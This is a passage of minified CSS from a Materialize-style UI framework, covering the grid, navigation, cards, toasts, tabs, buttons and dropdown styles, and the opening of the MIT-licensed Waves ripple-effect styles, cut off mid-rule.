span.badge{display:inline-block;float:none;margin-left:auto}.material-icons{text-rendering:optimizeLegibility;-webkit-font-feature-settings:'liga';-moz-font-feature-settings:'liga';font-feature-settings:'liga'}.container{margin:0 auto;max-width:1280px;width:90%}@media only screen and (min-width: 601px){.container{width:85%}}@media only screen and (min-width: 993px){.container{width:70%}}.col .row{margin-left:-.75rem;margin-right:-.75rem}.section{padding-top:1rem;padding-bottom:1rem}.section.no-pad{padding:0}.section.no-pad-bot{padding-bottom:0}.section.no-pad-top{padding-top:0}.row{margin-left:auto;margin-right:auto;margin-bottom:20px}.row:after{content:"";display:table;clear:both}.row .col{float:left;-webkit-box-sizing:border-box;box-sizing:border-box;padding:0 .75rem;min-height:1px}.row .col[class*="push-"],.row .col[class*="pull-"]{position:relative}.row .col.s1{width:8.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.s2{width:16.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.s3{width:25%;margin-left:auto;left:auto;right:auto}.row .col.s4{width:33.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.s5{width:41.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.s6{width:50%;margin-left:auto;left:auto;right:auto}.row .col.s7{width:58.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.s8{width:66.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.s9{width:75%;margin-left:auto;left:auto;right:auto}.row .col.s10{width:83.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.s11{width:91.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.s12{width:100%;margin-left:auto;left:auto;right:auto}.row .col.offset-s1{margin-left:8.3333333333%}.row .col.pull-s1{right:8.3333333333%}.row .col.push-s1{left:8.3333333333%}.row .col.offset-s2{margin-left:16.6666666667%}.row .col.pull-s2{right:16.6666666667%}.row .col.push-s2{left:16.6666666667%}.row .col.offset-s3{margin-left:25%}.row .col.pull-s3{right:25%}.row .col.push-s3{left:25%}.row .col.offset-s4{margin-left:33.3333333333%}.row .col.pull-s4{right:33.3333333333%}.row .col.push-s4{left:33.3333333333%}.row .col.offset-s5{margin-left:41.6666666667%}.row .col.pull-s5{right:41.6666666667%}.row .col.push-s5{left:41.6666666667%}.row .col.offset-s6{margin-left:50%}.row .col.pull-s6{right:50%}.row .col.push-s6{left:50%}.row .col.offset-s7{margin-left:58.3333333333%}.row .col.pull-s7{right:58.3333333333%}.row .col.push-s7{left:58.3333333333%}.row .col.offset-s8{margin-left:66.6666666667%}.row .col.pull-s8{right:66.6666666667%}.row .col.push-s8{left:66.6666666667%}.row .col.offset-s9{margin-left:75%}.row .col.pull-s9{right:75%}.row .col.push-s9{left:75%}.row .col.offset-s10{margin-left:83.3333333333%}.row .col.pull-s10{right:83.3333333333%}.row .col.push-s10{left:83.3333333333%}.row .col.offset-s11{margin-left:91.6666666667%}.row .col.pull-s11{right:91.6666666667%}.row .col.push-s11{left:91.6666666667%}.row .col.offset-s12{margin-left:100%}.row .col.pull-s12{right:100%}.row .col.push-s12{left:100%}@media only screen and (min-width: 601px){.row .col.m1{width:8.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.m2{width:16.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.m3{width:25%;margin-left:auto;left:auto;right:auto}.row .col.m4{width:33.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.m5{width:41.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.m6{width:50%;margin-left:auto;left:auto;right:auto}.row .col.m7{width:58.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.m8{width:66.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.m9{width:75%;margin-left:auto;left:auto;right:auto}.row .col.m10{width:83.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.m11{width:91.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.m12{width:100%;margin-left:auto;left:auto;right:auto}.row .col.offset-m1{margin-left:8.3333333333%}.row .col.pull-m1{right:8.3333333333%}.row .col.push-m1{left:8.3333333333%}.row .col.offset-m2{margin-left:16.6666666667%}.row .col.pull-m2{right:16.6666666667%}.row .col.push-m2{left:16.6666666667%}.row .col.offset-m3{margin-left:25%}.row .col.pull-m3{right:25%}.row .col.push-m3{left:25%}.row .col.offset-m4{margin-left:33.3333333333%}.row .col.pull-m4{right:33.3333333333%}.row .col.push-m4{left:33.3333333333%}.row .col.offset-m5{margin-left:41.6666666667%}.row .col.pull-m5{right:41.6666666667%}.row .col.push-m5{left:41.6666666667%}.row .col.offset-m6{margin-left:50%}.row .col.pull-m6{right:50%}.row .col.push-m6{left:50%}.row .col.offset-m7{margin-left:58.3333333333%}.row .col.pull-m7{right:58.3333333333%}.row .col.push-m7{left:58.3333333333%}.row .col.offset-m8{margin-left:66.6666666667%}.row .col.pull-m8{right:66.6666666667%}.row .col.push-m8{left:66.6666666667%}.row .col.offset-m9{margin-left:75%}.row .col.pull-m9{right:75%}.row .col.push-m9{left:75%}.row .col.offset-m10{margin-left:83.3333333333%}.row .col.pull-m10{right:83.3333333333%}.row .col.push-m10{left:83.3333333333%}.row .col.offset-m11{margin-left:91.6666666667%}.row .col.pull-m11{right:91.6666666667%}.row .col.push-m11{left:91.6666666667%}.row .col.offset-m12{margin-left:100%}.row .col.pull-m12{right:100%}.row .col.push-m12{left:100%}}@media only screen and (min-width: 993px){.row .col.l1{width:8.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.l2{width:16.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.l3{width:25%;margin-left:auto;left:auto;right:auto}.row .col.l4{width:33.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.l5{width:41.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.l6{width:50%;margin-left:auto;left:auto;right:auto}.row .col.l7{width:58.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.l8{width:66.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.l9{width:75%;margin-left:auto;left:auto;right:auto}.row .col.l10{width:83.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.l11{width:91.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.l12{width:100%;margin-left:auto;left:auto;right:auto}.row .col.offset-l1{margin-left:8.3333333333%}.row .col.pull-l1{right:8.3333333333%}.row .col.push-l1{left:8.3333333333%}.row .col.offset-l2{margin-left:16.6666666667%}.row .col.pull-l2{right:16.6666666667%}.row .col.push-l2{left:16.6666666667%}.row .col.offset-l3{margin-left:25%}.row .col.pull-l3{right:25%}.row .col.push-l3{left:25%}.row .col.offset-l4{margin-left:33.3333333333%}.row .col.pull-l4{right:33.3333333333%}.row .col.push-l4{left:33.3333333333%}.row .col.offset-l5{margin-left:41.6666666667%}.row .col.pull-l5{right:41.6666666667%}.row .col.push-l5{left:41.6666666667%}.row .col.offset-l6{margin-left:50%}.row .col.pull-l6{right:50%}.row .col.push-l6{left:50%}.row .col.offset-l7{margin-left:58.3333333333%}.row .col.pull-l7{right:58.3333333333%}.row .col.push-l7{left:58.3333333333%}.row .col.offset-l8{margin-left:66.6666666667%}.row .col.pull-l8{right:66.6666666667%}.row .col.push-l8{left:66.6666666667%}.row .col.offset-l9{margin-left:75%}.row .col.pull-l9{right:75%}.row .col.push-l9{left:75%}.row .col.offset-l10{margin-left:83.3333333333%}.row .col.pull-l10{right:83.3333333333%}.row .col.push-l10{left:83.3333333333%}.row .col.offset-l11{margin-left:91.6666666667%}.row .col.pull-l11{right:91.6666666667%}.row .col.push-l11{left:91.6666666667%}.row .col.offset-l12{margin-left:100%}.row .col.pull-l12{right:100%}.row .col.push-l12{left:100%}}@media only screen and (min-width: 1201px){.row .col.xl1{width:8.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.xl2{width:16.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.xl3{width:25%;margin-left:auto;left:auto;right:auto}.row .col.xl4{width:33.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.xl5{width:41.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.xl6{width:50%;margin-left:auto;left:auto;right:auto}.row .col.xl7{width:58.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.xl8{width:66.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.xl9{width:75%;margin-left:auto;left:auto;right:auto}.row .col.xl10{width:83.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.xl11{width:91.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.xl12{width:100%;margin-left:auto;left:auto;right:auto}.row .col.offset-xl1{margin-left:8.3333333333%}.row .col.pull-xl1{right:8.3333333333%}.row .col.push-xl1{left:8.3333333333%}.row .col.offset-xl2{margin-left:16.6666666667%}.row .col.pull-xl2{right:16.6666666667%}.row .col.push-xl2{left:16.6666666667%}.row .col.offset-xl3{margin-left:25%}.row .col.pull-xl3{right:25%}.row .col.push-xl3{left:25%}.row .col.offset-xl4{margin-left:33.3333333333%}.row .col.pull-xl4{right:33.3333333333%}.row .col.push-xl4{left:33.3333333333%}.row .col.offset-xl5{margin-left:41.6666666667%}.row .col.pull-xl5{right:41.6666666667%}.row .col.push-xl5{left:41.6666666667%}.row .col.offset-xl6{margin-left:50%}.row .col.pull-xl6{right:50%}.row .col.push-xl6{left:50%}.row .col.offset-xl7{margin-left:58.3333333333%}.row .col.pull-xl7{right:58.3333333333%}.row .col.push-xl7{left:58.3333333333%}.row .col.offset-xl8{margin-left:66.6666666667%}.row .col.pull-xl8{right:66.6666666667%}.row .col.push-xl8{left:66.6666666667%}.row .col.offset-xl9{margin-left:75%}.row .col.pull-xl9{right:75%}.row .col.push-xl9{left:75%}.row .col.offset-xl10{margin-left:83.3333333333%}.row .col.pull-xl10{right:83.3333333333%}.row .col.push-xl10{left:83.3333333333%}.row .col.offset-xl11{margin-left:91.6666666667%}.row .col.pull-xl11{right:91.6666666667%}.row .col.push-xl11{left:91.6666666667%}.row .col.offset-xl12{margin-left:100%}.row .col.pull-xl12{right:100%}.row .col.push-xl12{left:100%}}nav{color:#fff;background-color:#ee6e73;width:100%;height:56px;line-height:56px}nav.nav-extended{height:auto}nav.nav-extended .nav-wrapper{min-height:56px;height:auto}nav.nav-extended .nav-content{position:relative;line-height:normal}nav a{color:#fff}nav i,nav [class^="mdi-"],nav [class*="mdi-"],nav i.material-icons{display:block;font-size:24px;height:56px;line-height:56px}nav .nav-wrapper{position:relative;height:100%}@media only screen and (min-width: 993px){nav a.sidenav-trigger{display:none}}nav .sidenav-trigger{float:left;position:relative;z-index:1;height:56px;margin:0 18px}nav .sidenav-trigger i{height:56px;line-height:56px}nav .brand-logo{position:absolute;color:#fff;display:inline-block;font-size:2.1rem;padding:0}nav .brand-logo.center{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}@media only screen and (max-width: 992px){nav .brand-logo{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}nav .brand-logo.left,nav .brand-logo.right{padding:0;-webkit-transform:none;transform:none}nav .brand-logo.left{left:0.5rem}nav .brand-logo.right{right:0.5rem;left:auto}}nav .brand-logo.right{right:0.5rem;padding:0}nav .brand-logo i,nav .brand-logo [class^="mdi-"],nav .brand-logo [class*="mdi-"],nav .brand-logo i.material-icons{float:left;margin-right:15px}nav .nav-title{display:inline-block;font-size:32px;padding:28px 0}nav ul{margin:0}nav ul li{-webkit-transition:background-color .3s;transition:background-color .3s;float:left;padding:0}nav ul li.active{background-color:rgba(0,0,0,0.1)}nav ul a{-webkit-transition:background-color .3s;transition:background-color .3s;font-size:1rem;color:#fff;display:block;padding:0 15px;cursor:pointer}nav ul a.btn,nav ul a.btn-large,nav ul a.btn-small,nav ul a.btn-large,nav ul a.btn-flat,nav ul a.btn-floating{margin-top:-2px;margin-left:15px;margin-right:15px}nav ul a.btn>.material-icons,nav ul a.btn-large>.material-icons,nav ul a.btn-small>.material-icons,nav ul a.btn-large>.material-icons,nav ul a.btn-flat>.material-icons,nav ul a.btn-floating>.material-icons{height:inherit;line-height:inherit}nav ul a:hover{background-color:rgba(0,0,0,0.1)}nav ul.left{float:left}nav form{height:100%}nav .input-field{margin:0;height:100%}nav .input-field input{height:100%;font-size:1.2rem;border:none;padding-left:2rem}nav .input-field input:focus,nav .input-field input[type=text]:valid,nav .input-field input[type=password]:valid,nav .input-field input[type=email]:valid,nav .input-field input[type=url]:valid,nav .input-field input[type=date]:valid{border:none;-webkit-box-shadow:none;box-shadow:none}nav .input-field label{top:0;left:0}nav .input-field label i{color:rgba(255,255,255,0.7);-webkit-transition:color .3s;transition:color .3s}nav .input-field label.active i{color:#fff}.navbar-fixed{position:relative;height:56px;z-index:997}.navbar-fixed nav{position:fixed}@media only screen and (min-width: 601px){nav.nav-extended .nav-wrapper{min-height:64px}nav,nav .nav-wrapper i,nav a.sidenav-trigger,nav a.sidenav-trigger i{height:64px;line-height:64px}.navbar-fixed{height:64px}}a{text-decoration:none}html{line-height:1.5;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-weight:normal;color:rgba(0,0,0,0.87)}@media only screen and (min-width: 0){html{font-size:14px}}@media only screen and (min-width: 992px){html{font-size:14.5px}}@media only screen and (min-width: 1200px){html{font-size:15px}}h1,h2,h3,h4,h5,h6{font-weight:400;line-height:1.3}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{font-weight:inherit}h1{font-size:4.2rem;line-height:110%;margin:2.8rem 0 1.68rem 0}h2{font-size:3.56rem;line-height:110%;margin:2.3733333333rem 0 1.424rem 0}h3{font-size:2.92rem;line-height:110%;margin:1.9466666667rem 0 1.168rem 0}h4{font-size:2.28rem;line-height:110%;margin:1.52rem 0 .912rem 0}h5{font-size:1.64rem;line-height:110%;margin:1.0933333333rem 0 .656rem 0}h6{font-size:1.15rem;line-height:110%;margin:.7666666667rem 0 .46rem 0}em{font-style:italic}strong{font-weight:500}small{font-size:75%}.light{font-weight:300}.thin{font-weight:200}@media only screen and (min-width: 360px){.flow-text{font-size:1.2rem}}@media only screen and (min-width: 390px){.flow-text{font-size:1.224rem}}@media only screen and (min-width: 420px){.flow-text{font-size:1.248rem}}@media only screen and (min-width: 450px){.flow-text{font-size:1.272rem}}@media only screen and (min-width: 480px){.flow-text{font-size:1.296rem}}@media only screen and (min-width: 510px){.flow-text{font-size:1.32rem}}@media only screen and (min-width: 540px){.flow-text{font-size:1.344rem}}@media only screen and (min-width: 570px){.flow-text{font-size:1.368rem}}@media only screen and (min-width: 600px){.flow-text{font-size:1.392rem}}@media only screen and (min-width: 630px){.flow-text{font-size:1.416rem}}@media only screen and (min-width: 660px){.flow-text{font-size:1.44rem}}@media only screen and (min-width: 690px){.flow-text{font-size:1.464rem}}@media only screen and (min-width: 720px){.flow-text{font-size:1.488rem}}@media only screen and (min-width: 750px){.flow-text{font-size:1.512rem}}@media only screen and (min-width: 780px){.flow-text{font-size:1.536rem}}@media only screen and (min-width: 810px){.flow-text{font-size:1.56rem}}@media only screen and (min-width: 840px){.flow-text{font-size:1.584rem}}@media only screen and (min-width: 870px){.flow-text{font-size:1.608rem}}@media only screen and (min-width: 900px){.flow-text{font-size:1.632rem}}@media only screen and (min-width: 930px){.flow-text{font-size:1.656rem}}@media only screen and (min-width: 960px){.flow-text{font-size:1.68rem}}@media only screen and (max-width: 360px){.flow-text{font-size:1.2rem}}.scale-transition{-webkit-transition:-webkit-transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important;transition:-webkit-transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important;transition:transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important;transition:transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63), -webkit-transform 0.3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important}.scale-transition.scale-out{-webkit-transform:scale(0);transform:scale(0);-webkit-transition:-webkit-transform .2s !important;transition:-webkit-transform .2s !important;transition:transform .2s !important;transition:transform .2s, -webkit-transform .2s !important}.scale-transition.scale-in{-webkit-transform:scale(1);transform:scale(1)}.card-panel{-webkit-transition:-webkit-box-shadow .25s;transition:-webkit-box-shadow .25s;transition:box-shadow .25s;transition:box-shadow .25s, -webkit-box-shadow .25s;padding:24px;margin:.5rem 0 1rem 0;border-radius:2px;background-color:#fff}.card{position:relative;margin:.5rem 0 1rem 0;background-color:#fff;-webkit-transition:-webkit-box-shadow .25s;transition:-webkit-box-shadow .25s;transition:box-shadow .25s;transition:box-shadow .25s, -webkit-box-shadow .25s;border-radius:2px}.card .card-title{font-size:24px;font-weight:300}.card .card-title.activator{cursor:pointer}.card.small,.card.medium,.card.large{position:relative}.card.small .card-image,.card.medium .card-image,.card.large .card-image{max-height:60%;overflow:hidden}.card.small .card-image+.card-content,.card.medium .card-image+.card-content,.card.large .card-image+.card-content{max-height:40%}.card.small .card-content,.card.medium .card-content,.card.large .card-content{max-height:100%;overflow:hidden}.card.small .card-action,.card.medium .card-action,.card.large .card-action{position:absolute;bottom:0;left:0;right:0}.card.small{height:300px}.card.medium{height:400px}.card.large{height:500px}.card.horizontal{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.card.horizontal.small .card-image,.card.horizontal.medium .card-image,.card.horizontal.large .card-image{height:100%;max-height:none;overflow:visible}.card.horizontal.small .card-image img,.card.horizontal.medium .card-image img,.card.horizontal.large .card-image img{height:100%}.card.horizontal .card-image{max-width:50%}.card.horizontal .card-image img{border-radius:2px 0 0 2px;max-width:100%;width:auto}.card.horizontal .card-stacked{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;position:relative}.card.horizontal .card-stacked .card-content{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.card.sticky-action .card-action{z-index:2}.card.sticky-action .card-reveal{z-index:1;padding-bottom:64px}.card .card-image{position:relative}.card .card-image img{display:block;border-radius:2px 2px 0 0;position:relative;left:0;right:0;top:0;bottom:0;width:100%}.card .card-image .card-title{color:#fff;position:absolute;bottom:0;left:0;max-width:100%;padding:24px}.card .card-content{padding:24px;border-radius:0 0 2px 2px}.card .card-content p{margin:0}.card .card-content .card-title{display:block;line-height:32px;margin-bottom:8px}.card .card-content .card-title i{line-height:32px}.card .card-action{background-color:inherit;border-top:1px solid rgba(160,160,160,0.2);position:relative;padding:16px 24px}.card .card-action:last-child{border-radius:0 0 2px 2px}.card .card-action a:not(.btn):not(.btn-large):not(.btn-small):not(.btn-large):not(.btn-floating){color:#ffab40;margin-right:24px;-webkit-transition:color .3s ease;transition:color .3s ease;text-transform:uppercase}.card .card-action a:not(.btn):not(.btn-large):not(.btn-small):not(.btn-large):not(.btn-floating):hover{color:#ffd8a6}.card .card-reveal{padding:24px;position:absolute;background-color:#fff;width:100%;overflow-y:auto;left:0;top:100%;height:100%;z-index:3;display:none}.card .card-reveal .card-title{cursor:pointer;display:block}#toast-container{display:block;position:fixed;z-index:10000}@media only screen and (max-width: 600px){#toast-container{min-width:100%;bottom:0%}}@media only screen and (min-width: 601px) and (max-width: 992px){#toast-container{left:5%;bottom:7%;max-width:90%}}@media only screen and (min-width: 993px){#toast-container{top:10%;right:7%;max-width:86%}}.toast{border-radius:2px;top:35px;width:auto;margin-top:10px;position:relative;max-width:100%;height:auto;min-height:48px;line-height:1.5em;background-color:#323232;padding:10px 25px;font-size:1.1rem;font-weight:300;color:#fff;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;cursor:default}.toast .toast-action{color:#eeff41;font-weight:500;margin-right:-25px;margin-left:3rem}.toast.rounded{border-radius:24px}@media only screen and (max-width: 600px){.toast{width:100%;border-radius:0}}.tabs{position:relative;overflow-x:auto;overflow-y:hidden;height:48px;width:100%;background-color:#fff;margin:0 auto;white-space:nowrap}.tabs.tabs-transparent{background-color:transparent}.tabs.tabs-transparent .tab a,.tabs.tabs-transparent .tab.disabled a,.tabs.tabs-transparent .tab.disabled a:hover{color:rgba(255,255,255,0.7)}.tabs.tabs-transparent .tab a:hover,.tabs.tabs-transparent .tab a.active{color:#fff}.tabs.tabs-transparent .indicator{background-color:#fff}.tabs.tabs-fixed-width{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.tabs.tabs-fixed-width .tab{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.tabs .tab{display:inline-block;text-align:center;line-height:48px;height:48px;padding:0;margin:0;text-transform:uppercase}.tabs .tab a{color:rgba(238,110,115,0.7);display:block;width:100%;height:100%;padding:0 24px;font-size:14px;text-overflow:ellipsis;overflow:hidden;-webkit-transition:color .28s ease, background-color .28s ease;transition:color .28s ease, background-color .28s ease}.tabs .tab a:focus,.tabs .tab a:focus.active{background-color:rgba(246,178,181,0.2);outline:none}.tabs .tab a:hover,.tabs .tab a.active{background-color:transparent;color:#ee6e73}.tabs .tab.disabled a,.tabs .tab.disabled a:hover{color:rgba(238,110,115,0.4);cursor:default}.tabs .indicator{position:absolute;bottom:0;height:2px;background-color:#f6b2b5;will-change:left, right}@media only screen and (max-width: 992px){.tabs{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.tabs .tab{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.tabs .tab a{padding:0 12px}}.material-tooltip{padding:10px 8px;font-size:1rem;z-index:2000;background-color:transparent;border-radius:2px;color:#fff;min-height:36px;line-height:120%;opacity:0;position:absolute;text-align:center;max-width:calc(100% - 4px);overflow:hidden;left:0;top:0;pointer-events:none;visibility:hidden;background-color:#323232}.backdrop{position:absolute;opacity:0;height:7px;width:14px;border-radius:0 0 50% 50%;background-color:#323232;z-index:-1;-webkit-transform-origin:50% 0%;transform-origin:50% 0%;visibility:hidden}.btn,.btn-large,.btn-small,.btn-flat{border:none;border-radius:2px;display:inline-block;height:36px;line-height:36px;padding:0 16px;text-transform:uppercase;vertical-align:middle;-webkit-tap-highlight-color:transparent}.btn.disabled,.disabled.btn-large,.disabled.btn-small,.btn-floating.disabled,.btn-large.disabled,.btn-small.disabled,.btn-flat.disabled,.btn:disabled,.btn-large:disabled,.btn-small:disabled,.btn-floating:disabled,.btn-large:disabled,.btn-small:disabled,.btn-flat:disabled,.btn[disabled],.btn-large[disabled],.btn-small[disabled],.btn-floating[disabled],.btn-large[disabled],.btn-small[disabled],.btn-flat[disabled]{pointer-events:none;background-color:#DFDFDF !important;-webkit-box-shadow:none;box-shadow:none;color:#9F9F9F !important;cursor:default}.btn.disabled:hover,.disabled.btn-large:hover,.disabled.btn-small:hover,.btn-floating.disabled:hover,.btn-large.disabled:hover,.btn-small.disabled:hover,.btn-flat.disabled:hover,.btn:disabled:hover,.btn-large:disabled:hover,.btn-small:disabled:hover,.btn-floating:disabled:hover,.btn-large:disabled:hover,.btn-small:disabled:hover,.btn-flat:disabled:hover,.btn[disabled]:hover,.btn-large[disabled]:hover,.btn-small[disabled]:hover,.btn-floating[disabled]:hover,.btn-large[disabled]:hover,.btn-small[disabled]:hover,.btn-flat[disabled]:hover{background-color:#DFDFDF !important;color:#9F9F9F !important}.btn,.btn-large,.btn-small,.btn-floating,.btn-large,.btn-small,.btn-flat{font-size:14px;outline:0}.btn i,.btn-large i,.btn-small i,.btn-floating i,.btn-large i,.btn-small i,.btn-flat i{font-size:1.3rem;line-height:inherit}.btn:focus,.btn-large:focus,.btn-small:focus,.btn-floating:focus{background-color:#1d7d74}.btn,.btn-large,.btn-small{text-decoration:none;color:#fff;background-color:#26a69a;text-align:center;letter-spacing:.5px;-webkit-transition:background-color .2s ease-out;transition:background-color .2s ease-out;cursor:pointer}.btn:hover,.btn-large:hover,.btn-small:hover{background-color:#2bbbad}.btn-floating{display:inline-block;color:#fff;position:relative;overflow:hidden;z-index:1;width:40px;height:40px;line-height:40px;padding:0;background-color:#26a69a;border-radius:50%;-webkit-transition:background-color .3s;transition:background-color .3s;cursor:pointer;vertical-align:middle}.btn-floating:hover{background-color:#26a69a}.btn-floating:before{border-radius:0}.btn-floating.btn-large{width:56px;height:56px;padding:0}.btn-floating.btn-large.halfway-fab{bottom:-28px}.btn-floating.btn-large i{line-height:56px}.btn-floating.btn-small{width:32.4px;height:32.4px}.btn-floating.btn-small.halfway-fab{bottom:-16.2px}.btn-floating.btn-small i{line-height:32.4px}.btn-floating.halfway-fab{position:absolute;right:24px;bottom:-20px}.btn-floating.halfway-fab.left{right:auto;left:24px}.btn-floating i{width:inherit;display:inline-block;text-align:center;color:#fff;font-size:1.6rem;line-height:40px}button.btn-floating{border:none}.fixed-action-btn{position:fixed;right:23px;bottom:23px;padding-top:15px;margin-bottom:0;z-index:997}.fixed-action-btn.active ul{visibility:visible}.fixed-action-btn.direction-left,.fixed-action-btn.direction-right{padding:0 0 0 15px}.fixed-action-btn.direction-left ul,.fixed-action-btn.direction-right ul{text-align:right;right:64px;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);height:100%;left:auto;width:500px}.fixed-action-btn.direction-left ul li,.fixed-action-btn.direction-right ul li{display:inline-block;margin:7.5px 15px 0 0}.fixed-action-btn.direction-right{padding:0 15px 0 0}.fixed-action-btn.direction-right ul{text-align:left;direction:rtl;left:64px;right:auto}.fixed-action-btn.direction-right ul li{margin:7.5px 0 0 15px}.fixed-action-btn.direction-bottom{padding:0 0 15px 0}.fixed-action-btn.direction-bottom ul{top:64px;bottom:auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.fixed-action-btn.direction-bottom ul li{margin:15px 0 0 0}.fixed-action-btn.toolbar{padding:0;height:56px}.fixed-action-btn.toolbar.active>a i{opacity:0}.fixed-action-btn.toolbar ul{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;top:0;bottom:0;z-index:1}.fixed-action-btn.toolbar ul li{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;display:inline-block;margin:0;height:100%;-webkit-transition:none;transition:none}.fixed-action-btn.toolbar ul li a{display:block;overflow:hidden;position:relative;width:100%;height:100%;background-color:transparent;-webkit-box-shadow:none;box-shadow:none;color:#fff;line-height:56px;z-index:1}.fixed-action-btn.toolbar ul li a i{line-height:inherit}.fixed-action-btn ul{left:0;right:0;text-align:center;position:absolute;bottom:64px;margin:0;visibility:hidden}.fixed-action-btn ul li{margin-bottom:15px}.fixed-action-btn ul a.btn-floating{opacity:0}.fixed-action-btn .fab-backdrop{position:absolute;top:0;left:0;z-index:-1;width:40px;height:40px;background-color:#26a69a;border-radius:50%;-webkit-transform:scale(0);transform:scale(0)}.btn-flat{-webkit-box-shadow:none;box-shadow:none;background-color:transparent;color:#343434;cursor:pointer;-webkit-transition:background-color .2s;transition:background-color .2s}.btn-flat:focus,.btn-flat:hover{-webkit-box-shadow:none;box-shadow:none}.btn-flat:focus{background-color:rgba(0,0,0,0.1)}.btn-flat.disabled,.btn-flat.btn-flat[disabled]{background-color:transparent !important;color:#b3b2b2 !important;cursor:default}.btn-large{height:54px;line-height:54px;font-size:15px;padding:0 28px}.btn-large i{font-size:1.6rem}.btn-small{height:32.4px;line-height:32.4px;font-size:13px}.btn-small i{font-size:1.2rem}.btn-block{display:block}.dropdown-content{background-color:#fff;margin:0;display:none;min-width:100px;overflow-y:auto;opacity:0;position:absolute;left:0;top:0;z-index:9999;-webkit-transform-origin:0 0;transform-origin:0 0}.dropdown-content:focus{outline:0}.dropdown-content li{clear:both;color:rgba(0,0,0,0.87);cursor:pointer;min-height:50px;line-height:1.5rem;width:100%;text-align:left}.dropdown-content li:hover,.dropdown-content li.active{background-color:#eee}.dropdown-content li:focus{outline:none}.dropdown-content li.divider{min-height:0;height:1px}.dropdown-content li>a,.dropdown-content li>span{font-size:16px;color:#26a69a;display:block;line-height:22px;padding:14px 16px}.dropdown-content li>span>label{top:1px;left:0;height:18px}.dropdown-content li>a>i{height:inherit;line-height:inherit;float:left;margin:0 24px 0 0;width:24px}body.keyboard-focused .dropdown-content li:focus{background-color:#dadada}.input-field.col .dropdown-content [type="checkbox"]+label{top:1px;left:0;height:18px;-webkit-transform:none;transform:none}.dropdown-trigger{cursor:pointer}/*! + * Waves v0.6.0 + * http://fian.my.id/Waves + * + * Copyright 2014 Alfiana E. Sibuea and other contributors + * Released under the MIT license + * https://github.com/fians/Waves/blob/master/LICENSE */.waves-effect{position:relative;cursor:pointer;display:inline-block;overflow:hidden;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-tap-highlight-color:transparent;vertical-align:middle;z-index:1;-webkit-transition:.3s ease-out;transition:.3s ease-out}.waves-effect .waves-ripple{position:absolute;border-radius:50%;width:20px;height:20px;margin-top:-10px;margin-left:-10px;opacity:0;background:rgba(0,0,0,0.2);-webkit-transition:all 0.7s ease-out;transition:all 0.7s ease-out;-webkit-transition-property:opacity, -webkit-transform;transition-property:opacity, -webkit-transform;transition-property:transform, opacity;transition-property:transform, opacity, -webkit-transform;-webkit-transform:scale(0);transform:scale(0);pointer-events:none}.waves-effect.waves-light .waves-ripple{background-color:rgba(255,255,255,0.45)}.waves-effect.waves-red .waves-ripple{background-color:rgba(244,67,54,0.7)}.waves-effect.waves-yellow .waves-ripple{background-color:rgba(255,235,59,0.7)}.waves-effect.waves-orange 